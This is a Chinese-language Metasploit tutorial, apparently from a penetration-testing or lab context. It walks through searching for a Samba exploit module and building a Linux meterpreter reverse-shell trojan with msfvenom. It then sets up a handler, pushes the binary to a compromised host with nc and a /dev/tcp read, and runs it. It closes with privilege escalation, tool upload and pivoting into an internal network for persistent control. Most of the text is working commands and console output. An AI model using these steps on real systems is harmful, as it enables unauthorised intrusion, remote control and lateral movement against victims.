MSF 使用
Metasploit就是一個安全漏洞檢測工具。它的全稱叫做The Metasploit Framework，簡稱MSF。
MSF主要用於攻擊非web埠
1、資料庫
2、協議型別的埠
使用流程
Kali控制檯 輸入 msfconsole 進入
1、搜尋並確認模組（search，use）
search
如smb漏洞：執行 search samba 搜尋相關漏洞
msf6 > search samba

Payload information:
Space: 9000
Description:
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.

MSF 木馬生成模組 Msfvenom
msfvenom
木馬製作
Linux執行如下程式碼
#製作linux反彈shell木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
IP填寫本機IP
PORT為本機監聽埠
#製作linux反彈shell木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.226 LPORT=4444 -f elf > shell.elf
監聽配置
msfvenom生成的遠端控制木馬需要和MSF中的exploit/multi/handler模組配合使用
# 使用 exploit/multi/handler 模組
use exploit/multi/handler
# 設定模組
set payload linux/x64/meterpreter/reverse_tcp
執行結果如下
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

Payload options (generic/shell_reverse_tcp):

開啟監聽
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
上傳木馬
由於伺服器沒有wget與curl命令，我們需要使用cat命令上傳惡意木馬
首先使用nc命令，監聽999埠
nc -lvp 999 < shell.elf
``
之後在之前獲取到的 `bash` 中執行以下命令
```bash
cat < /dev/tcp/<nc監聽的IP>/999 > shell.elf
圖片
上傳成功的效果如圖上
然後需要在右邊視窗停止 nc 執行
然後透過 ls -l 命令比對檔案大小，確保檔案上傳完整
執行
賦予 shell.elf 執行許可權並執行
chmod +x ./shell.elf;./shell.elf
之後即可在 msfvenom 中看到 shell.elf 的請求
獲取 meterpreter
meterpreter 作用
發現靶機後，存在內網情況下，該靶機有機會成為跳板機，需要升級終端
meterpreter 可以使用 background 將終端掛起
透過 sessions 1 又能進入控制
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter >
常用命令
getuid：獲取當前使用者
getsystem：自動化提權，windows專享
檔案上傳：/root/Desktop/tools/fscan 原始檔位置， 伺服器位置 /fscan
upload /root/Desktop/tools/fscan /fscan
例一：SMB漏洞
透過namp，fscan等工具掃描埠
1、發現SMB伺服器，第一步嘗試直接訪問
Windows直接透過檔案管理器訪問
Linux 可以直接用 smbclient
基本命令
# 列出共享資料夾
smbclient -L 10.3.4.126
# 進入共享資料夾
smbclient //10.3.4.126/share

# 下載使用get
get ydntgxhD.so
2、根據服務版本尋找 N day 漏洞
3、之後流程見上面使用流程
4、攻擊成功後，一般需要使用該伺服器作為跳板機進入內網
執行上傳木馬（MSF木馬）進行持久化控制
-
利用網路命令上傳 wget，curl，cat
-
利用特殊工具 如：webshell 管理工具，meterpreter，stowaway
